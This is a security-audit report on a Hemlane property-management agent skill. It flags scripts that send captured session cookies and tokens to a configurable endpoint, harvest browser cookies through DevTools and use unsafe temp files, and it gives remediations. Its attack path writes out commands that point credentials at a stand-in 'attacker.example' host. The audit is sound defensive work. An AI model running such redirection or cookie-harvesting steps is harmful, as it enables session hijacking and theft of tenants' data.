Back to skill

Security audit

Hemlane MCP

Security checks for vulnerabilities and agentic risk

Overview

This Hemlane automation skill is coherent in purpose, but it handles live browser session credentials and can perform real account actions with weak safeguards.

Install only after reviewing the live-account impact. Use a dedicated low-privilege Hemlane account if possible, avoid capturing auth from a normal browser profile, keep auth files private and short-lived, do not set HEMLANE_GRAPHQL_ENDPOINT unless you fully trust the destination, and treat the write tools as real production actions that can message tenants, post comments, submit referrals, or create lease records.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/replay_hemlane_graphql.py:6
Finding
Generic GraphQL replay can transmit Hemlane credentials to an arbitrary endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/replay_hemlane_graphql.py:6, 68, 92-97` **Vulnerability Type**: Unrestricted authenticated request destination **Risk Level**: High ### Vulnerable Code ```python DEFAULT_ENDPOINT = os.environ.get('HEMLANE_GRAPHQL_ENDPOINT', 'https://api.hemlane.com/graphql') ``` ```python ap.add_argument('--endpoint', default=DEFAULT_ENDPOINT) ``` ```python req = request.Request( args.endpoint, data=json.dumps(payload).encode('utf-8'), headers=headers, method='POST' ) ``` The attached headers are populated from runtime secrets earlier in the same file: ```python cookie = args.cookie or os.environ.get('HEMLANE_COOKIE') csrf = args.csrf or os.environ.get('HEMLANE_CSRF_TOKEN') auth = args.authorization or os.environ.get('HEMLANE_AUTHORIZATION') if cookie: headers['Cookie'] = cookie if csrf: headers['x-csrf-token'] = csrf if auth: headers['Authorization'] = auth ``` ### Technical Analysis The replay utility allows its request destination to be controlled through either the `--endpoint` argument or the `HEMLANE_GRAPHQL_ENDPOINT` environment variable. It then attaches Hemlane session cookies, CSRF tokens, and authorization headers without validating that the destination: - Uses HTTPS. - Is the official Hemlane API. - Has an approved hostname and path. - Matches the origin for which the credentials were captured. A Hemlane-specific Skill only needs to transmit these credentials to an explicitly approved Hemlane endpoint. Permitting arbitrary destinations exceeds the minimum network privilege required by the declared functionality. ### Attack Path 1. An attacker or unsafe wrapper supplies an endpoint such as: ```bash --endpoint https://attacker.example/collect ``` or sets: ```bash HEMLANE_GRAPHQL_ENDPOINT=https://attacker.example/collect ``` 2. Valid Hemlane credentials are supplied through command-line options or inherited environment variables. 3. The replay s ...[truncated 779 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the public `--endpoint` option from normal Hemlane workflows. 2. Do not allow `HEMLANE_GRAPHQL_ENDPOINT` to override the production destination when authentication headers are present. 3. Enforce an exact destination allowlist, for example: - Scheme: `https` - Host: `api.hemlane.com` - Path: `/graphql` - No username, password, fragment, or nonstandard port 4. Reject HTTP and unapproved subdomains. 5. Disable redirects or validate every redirect target before forwarding sensitive headers. 6. Never forward cookies, CSRF tokens, or authorization headers when the destination origin changes. 7. If custom endpoints are needed for testing, require a separate explicit development mode and prohibit production credentials in that mode. 8. Add automated tests proving that attacker-controlled, HTTP, lookalike, and redirected destinations are rejected. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/query_catalog_operation.py:12
Finding
Catalog replay sends runtime credentials to an environment-controlled destination<![CDATA[ ## Vulnerability Details **File Location**: `scripts/query_catalog_operation.py:12, 44-60, 76-80` **Vulnerability Type**: Environment-controlled credential destination **Risk Level**: High ### Vulnerable Code ```python ENDPOINT = os.environ.get('HEMLANE_GRAPHQL_ENDPOINT', 'https://api.hemlane.com/graphql') ``` ```python env_map = { 'HEMLANE_COOKIE': 'Cookie', 'HEMLANE_CSRF_TOKEN': 'x-csrf-token', 'HEMLANE_AUTHORIZATION': 'Authorization', 'HEMLANE_USER_AGENT': 'User-Agent', 'HEMLANE_REFERER': 'Referer', 'HEMLANE_ORIGIN': 'Origin', } for env, header in env_map.items(): if os.environ.get(env): headers[header] = os.environ[env] ``` ```python def gql(headers, operation_name, query, variables): payload = {'operationName': operation_name, 'query': query, 'variables': variables} req = request.Request(ENDPOINT, data=json.dumps(payload).encode(), headers=headers, method='POST') try: with request.urlopen(req, timeout=60) as resp: body = resp.read().decode('utf-8', 'replace') ``` ### Technical Analysis The generic catalog tool is described as read-only, but read-only GraphQL behavior does not make credential transmission safe. Its destination is loaded from the mutable `HEMLANE_GRAPHQL_ENDPOINT` environment variable, while Hemlane cookies, CSRF tokens, and authorization values are loaded from an authentication file or environment variables. No destination validation occurs before the sensitive headers are attached. Consequently, the process environment can redirect an otherwise legitimate read request to a non-Hemlane server. This is especially important because the MCP server invokes the script through `subprocess.run` without constructing a sanitized environment, so the child inherits the server's environment. ### Attack Path 1. The MCP server or CLI process is started with a malicious or accidentally modified `HEMLANE_GRAPHQL_ENDPOINT`. 2. An operator invokes `query_catalog_operatio ...[truncated 661 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Hardcode the authenticated catalog destination to `https://api.hemlane.com/graphql`. 2. If configurability is essential, parse and validate the URL against an exact allowlist before loading authentication material. 3. Start subprocesses with a sanitized environment that excludes unneeded endpoint and proxy configuration. 4. Reject non-HTTPS destinations, lookalike hosts, user-info components, fragments, and unapproved ports. 5. Disable redirects or strip all sensitive headers before following a redirect. 6. Separate unauthenticated development replay from authenticated production replay. 7. Log only the approved destination and never log credential values. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/capture_hemlane_auth_via_cdp.py:214
Finding
CDP authentication capture exposes complete browser session secrets through MCP output and insecure files<![CDATA[ ## Vulnerability Details **File Location**: `scripts/capture_hemlane_auth_via_cdp.py:214-255` **Vulnerability Type**: Plaintext credential disclosure and unsafe secret storage **Risk Level**: High ### Vulnerable Code ```python # Browser cookies are often omitted from fetch init headers and HAR exports. cookie_header = None try: cid = send('Network.getCookies', {'urls': ['https://www.hemlane.com', 'https://api.hemlane.com']}) cookie_resp, _ = recv_until_id(cid, 10) cookies = cookie_resp.get('result', {}).get('cookies', []) if cookies: cookie_header = '; '.join([c.get('name','') + '=' + c.get('value','') for c in cookies if c.get('name')]) except Exception: pass ``` ```python out_headers = { 'authorization': headers.get('authorization'), 'x-csrf-token': headers.get('x-csrf-token'), 'content-type': headers.get('content-type', 'application/json'), 'origin': headers.get('origin', 'https://www.hemlane.com'), 'referer': headers.get('referer', 'https://www.hemlane.com/'), 'user-agent': headers.get('user-agent', 'Mozilla/5.0 OpenClaw Hemlane Skill'), } # Include cookies if captured if headers.get('cookie'): out_headers['cookie'] = headers['cookie'] elif cookie_header: out_headers['cookie'] = cookie_header ``` ```python if args.out_file: Path(args.out_file).write_text(json.dumps(out['headers'], indent=2)) print(json.dumps(out, indent=2)) ``` ### Technical Analysis The script uses Chrome DevTools Protocol access to extract complete Hemlane cookies and potentially authorization and CSRF headers from an authenticated browser. Capturing authentication material is related to the declared replay functionality, but the implementation exposes more privilege than necessary: - Complete secret values are printed to stdout. - MCP returns subprocess stdout as tool output, allowing secrets to enter agent transcripts, logs, or client-visible responses. - The caller controls `--out-file`. - `Path.write_tex ...[truncated 1885 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Never print raw cookies, authorization values, or CSRF tokens to stdout. 2. Return only a non-secret handle, opaque identifier, or private file path from MCP. 3. Create secret files atomically with owner-only mode `0600`. 4. Restrict output to a dedicated private directory owned by the service account. 5. Reject absolute paths outside that directory and protect against symlink traversal. 6. Capture only cookies proven necessary for the target request rather than concatenating every returned cookie. 7. Require explicit user confirmation immediately before accessing browser cookies. 8. Apply authorization to all auth-capture operations, not only endpoint kinds labeled as writes. 9. Set a short lifetime for captured files and securely delete them after use. 10. Prevent MCP infrastructure, telemetry, and subprocess error handling from recording secret-bearing output. 11. Bind CDP only to loopback and use a dedicated browser profile with the minimum Hemlane account privileges. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/send_hemlane_tenant_reply.py:31
Finding
Write wrappers use predictable shared temporary files for sensitive and state-changing payloads<![CDATA[ ## Vulnerability Details **File Locations**: - `scripts/send_hemlane_tenant_reply.py:31-38` - `scripts/post_hemlane_workorder_comment.py:27-33` - `scripts/post_hemlane_maintenance_request_comment.py:29-35` - `scripts/submit_hemlane_referral.py:42-48` **Vulnerability Type**: Predictable temporary files, symlink following, and race-prone request staging **Risk Level**: Medium ### Vulnerable Code The complete vulnerable request-staging segment in the tenant reply wrapper is: ```python tmp = Path('/tmp/hemlane_tenant_reply_variables.json') tmp.write_text(json.dumps(payload)) cmd = [sys.executable, str(REPLAY), '--query', str(QUERY), '--variables', str(tmp), '--operation-name', 'ODProspectiveTenantGroupMessageCreate'] if args.dry_run: cmd.append('--dry-run') if args.pretty: cmd.append('--pretty') raise SystemExit(subprocess.call(cmd)) ``` The same fixed-file pattern appears in the other write wrappers: ```python tmp.write_text(json.dumps(payload)) cmd = [sys.executable, str(REPLAY), '--query', str(QUERY), '--variables', str(tmp), '--operation-name', 'OwnerMaintenanceWorkOrderCommentCreate'] raise SystemExit(subprocess.call(cmd)) ``` ```python tmp.write_text(json.dumps(payload)) cmd = [sys.executable, str(REPLAY), '--query', str(QUERY), '--variables', str(tmp), '--operation-name', 'OwnerDashboardMaintenanceMaintenanceRequestCommentCreate'] raise SystemExit(subprocess.call(cmd)) ``` ```python tmp.write_text(json.dumps(payload)) cmd = [sys.executable, str(REPLAY), '--query', str(QUERY), '--variables', str(tmp), '--operation-name', 'HubspotFormSubmit'] raise SystemExit(subprocess.call(cmd)) ``` ### Technical Analysis The wrappers stage request bodies in fixed files under the shared `/tmp` directory. The tenant reply path is explicitly predictable, and the other wrappers use the same direct `tmp.write_text` followed by subprocess replay pattern. This design has several security weaknesses: - Predictable names allow another local process to l ...[truncated 2013 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Avoid filesystem staging and pass serialized variables to the child through stdin. 2. If a file is required, use `tempfile.NamedTemporaryFile` or `TemporaryDirectory` with: - A cryptographically unpredictable name. - Owner-only mode `0600`. - A private directory. - Automatic cleanup. 3. Keep the temporary file open where possible and avoid reopening it by a predictable path. 4. Reject symbolic links and use safe creation flags such as `O_CREAT | O_EXCL | O_NOFOLLOW` where supported. 5. Delete temporary data in a `finally` block on success, error, timeout, and interruption. 6. Add locking or eliminate shared filenames to make concurrent requests independent. 7. Ensure payload contents are not included in routine logs. 8. Apply the fix consistently to tenant reply, work-order comment, maintenance comment, and referral wrappers. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (45)

Tainted flow: 'req' from os.environ.get (line 78, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
payload = {'operationName': operation_name, 'query': query, 'variables': variables}
    req = request.Request(ENDPOINT, data=json.dumps(payload).encode(), headers=headers, method='POST')
    try:
        with request.urlopen(req, timeout=60) as resp:
            body = resp.read().decode('utf-8', 'replace')
    except error.HTTPError as e:
        body = e.read().decode('utf-8', 'replace')
Confidence
90% confidence
Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Tainted flow: 'req' from os.environ.get (line 93, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Content
method='POST'
    )
    try:
        with request.urlopen(req, timeout=60) as resp:
            body = resp.read().decode('utf-8', errors='replace')
            try:
                data = json.loads(body)
Confidence
90% confidence
Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
If the skill or associated code performs hidden caller identity checks and privileged-write authorization via environment/metadata inspection or hardcoded identity material, that behavior is materially different from the declared Hemlane analysis purpose. Undisclosed identity gating can conceal backdoor-like control paths, create unexpected denial of service for legitimate users, and undermine trust in what the skill is actually doing.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
If the skill or associated code performs hidden caller identity checks and privileged-write authorization via environment/metadata inspection or hardcoded identity material, that behavior is materially different from the declared Hemlane analysis purpose. Undisclosed identity gating can conceal backdoor-like control paths, create unexpected denial of service for legitimate users, and undermine trust in what the skill is actually doing.

Missing User Warnings

High
Confidence
99% confidence
Finding
This script deliberately harvests live Hemlane authentication artifacts from an authenticated browser session, including authorization headers, CSRF tokens, and cookies, then prints or writes them to disk without any interactive confirmation, masking, or scope restriction. In the context of a skill whose stated purpose is reconstructing Hemlane workflows from browser captures, this enables direct session hijacking and unauthorized API access, making the finding substantially more dangerous than a generic debugging utility.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
The README explicitly instructs operators to supply or capture live Hemlane session artifacts including cookies, CSRF tokens, authorization headers, user agent, referer, and origin, and it also exposes a write-capable auth capture path. Even though it says secrets should be runtime-only, the documentation does not prominently warn that these browser session materials can grant direct account access and enable state-changing actions, increasing the risk of credential misuse, accidental disclosure, or unintended writes.

Lp3

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding
The skill advertises substantial capabilities—shell, network, file access, env access, and write operations—without any explicit permission scoping or allowed-tools declaration. In a skill that can capture browser auth artifacts and replay authenticated requests, the lack of declared boundaries increases the risk of overbroad execution and misuse beyond the user's expected task.

Missing User Warnings

Medium
Confidence
90% confidence
Finding
The documentation explicitly covers capture and replay of authenticated browser artifacts but does not present a clear warning about privacy exposure, token sensitivity, or account-impact risks. Because these artifacts can grant direct access to user data and actions, omission of strong warnings increases the chance of accidental credential handling mistakes or unsafe replay against production accounts.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The listed tools include write-capable operations such as tenant replies, referrals, work-order comments, maintenance comments, and lease creation, yet the markdown does not clearly warn that these are live, potentially irreversible actions. In this context, a user may mistake them for analysis helpers and unintentionally send messages, create records, or alter production state.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd = ["python3", str(script_path)] + (args or [])
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
        if result.returncode != 0:
            return {"error": result.stderr, "stdout": result.stdout}
        return {"success": True, "output": result.stdout}
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Intent-Code Divergence

Medium
Confidence
97% confidence
Finding
Several write-capable tools advertise an auth_file parameter, but the implementation ignores it and instead relies on separate runtime auth handling or environment state. This mismatch can cause operators or higher-level agents to believe a write is bound to specific captured credentials when it is not, increasing the risk of confused-deputy behavior and unintended actions performed under ambient privileged session context.

Missing User Warnings

Medium
Confidence
98% confidence
Finding
This document embeds HAR-derived GraphQL examples containing real-looking personal and financial data, including names, emails, phone numbers, user IDs, bank/plaid metadata, transaction details, property information, and tenant communications. Even without secrets like passwords, publishing realistic captured session data in a reusable skill materially increases privacy, compliance, and social-engineering risk, and the skill context makes this more dangerous because it is explicitly designed to reconstruct workflows from saved browser captures.

Description-Behavior Mismatch

Medium
Confidence
91% confidence
Finding
The file catalogs broad data-access operations spanning current user identity, financial accounts, tenant groups, transactions, phone numbers, emails, maintenance records, and Plaid-linked banking metadata. In combination with browser session artifacts, this serves as a high-value blueprint for large-scale authenticated data harvesting that exceeds the narrow workflow-analysis description and increases the chance of privacy abuse or overcollection.

Description-Behavior Mismatch

Medium
Confidence
96% confidence
Finding
The catalog is not limited to passive HAR analysis or documentation; it explicitly enumerates live GraphQL mutations such as message creation, maintenance comment creation, and form submission with realistic input shapes. In a skill whose stated purpose includes reconstructing workflows from browser artifacts, this materially lowers the barrier to replaying authenticated write actions against a live Hemlane account and turns reference data into an operational action map.

Natural-Language Policy Violations

Medium
Confidence
98% confidence
Finding
The sample variables contain real-looking personal data, including full names, phone numbers, and email addresses, embedded directly in a reference artifact. Even if sourced from captures, retaining such PII in reusable skill content creates unnecessary exposure risk, enables secondary misuse, and signals weak data-handling practices for a tool built around browser-derived artifacts.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The document describes syncing tenant and lease data, including names, emails, lease dates, and rent amounts, but provides no warning that the workflow handles sensitive personal and financial information. In this context, an operator could process or export regulated data without appropriate consent, minimization, or safeguards, increasing the risk of privacy violations or unauthorized disclosure.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The runbook explicitly instructs reconstructing and submitting referral data containing personal information, then sending it with fresh authenticated session cookies and CSRF-related headers. That enables real-world authenticated actions and external transmission of PII without any safety gate, user-consent check, or warning that this will perform a live submission.

External Transmission

Medium
Category
Data Exfiltration
Content
1. Use `references/graphql-operations.md` and locate `HubspotFormSubmit`.
2. Reconstruct the mutation payload with fields for first name, last name, phone, email, referrer name, and referrer email.
3. Preserve the captured `formId` from the HAR-derived sample unless a newer form capture supersedes it.
4. Submit to `https://api.hemlane.com/graphql` with fresh browser session cookies and any CSRF/header requirements available at runtime.
5. Validate success by checking `hubspotFormSubmission.id` and empty `errors`.

Key operation:
Confidence
88% confidence
Finding
This instruction sends data to an external Hemlane GraphQL endpoint using fresh browser session cookies and CSRF/header material, which indicates authenticated live transmission rather than offline analysis. In the context of a skill built from HAR-derived patterns and browser session artifacts, this is more dangerous because it normalizes replaying captured authenticated requests and transmitting referral PII to a third-party service.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
The runbook directs the operator to send live tenant messages and confirm delivery by re-querying message threads, which is a user-facing external communication action. Without warnings, approval requirements, recipient verification, or irreversible-action safeguards, the skill can be used to send unintended or unauthorized messages to tenants.

Missing User Warnings

Medium
Confidence
91% confidence
Finding
The runbook instructs posting comments to maintenance requests or work orders and preserving visibility flags exactly as captured. Because these comments can affect tenants, owners, and operational workflows, the absence of warnings and approval controls creates risk of unauthorized or harmful user-facing updates, including accidental disclosure through incorrect visibility settings.

Internal Network Request

Medium
Category
Server-Side Request Forgery
Content
def get_tabs():
    """Get all CDP tabs from Brave."""
    import urllib.request
    resp = urllib.request.urlopen('http://127.0.0.1:19222/json')
    return json.loads(resp.read().decode())

def ensure_hemlane_cdp_context(close_extras=False):
Confidence
70% confidence
Finding
Code issues a request to a loopback, link-local, or private-range host. This can reach internal services not meant to be exposed and is a common SSRF pivot.

External Transmission

Medium
Category
Data Exfiltration
Content
if survey:
        variables["input"]["survey"] = survey
    
    response = requests.post(
        HEMLANE_API,
        headers=headers,
        json={
Confidence
87% confidence
Finding
This request sends cookie and CSRF authentication material to an external service while performing a lease-creation mutation. Although the destination is the expected Hemlane API over HTTPS, the dangerous aspect is that the skill is explicitly built to use captured browser session artifacts, so execution can replay privileged actions on behalf of a user without independent authentication or strong operator safeguards.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The script performs state-changing lease creation and optional e-sign creation using captured session cookies and CSRF tokens, but the normal execution path proceeds immediately after parsing arguments with no explicit confirmation, consent gate, or prominent warning about reusing browser session artifacts. In the context of a skill designed to reconstruct workflows from HAR/session captures, this materially increases the risk of unauthorized account actions if the script is run with stale, borrowed, or mistakenly supplied credentials.

External Transmission

Medium
Category
Data Exfiltration
Content
"user-agent": auth.get("user-agent", "Mozilla/5.0 OpenClaw Hemlane Skill"),
    }
    
    response = requests.post(
        HEMLANE_API,
        headers=headers,
        json={
Confidence
87% confidence
Finding
This second outbound request reuses captured authentication headers to create an e-sign packet, a further state-changing workflow step with potentially legal/business consequences. In this skill context, chaining sensitive mutations from saved browser artifacts increases the chance of unauthorized document generation or signature workflow initiation if the artifact set was obtained improperly or supplied by mistake.

External Transmission

Medium
Category
Data Exfiltration
Content
}
    }
    
    response = requests.post(
        endpoint,
        json={"query": RENT_ROLL_QUERY, "variables": variables},
        headers=auth_headers
Confidence
80% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Static analysis

No suspicious patterns detected.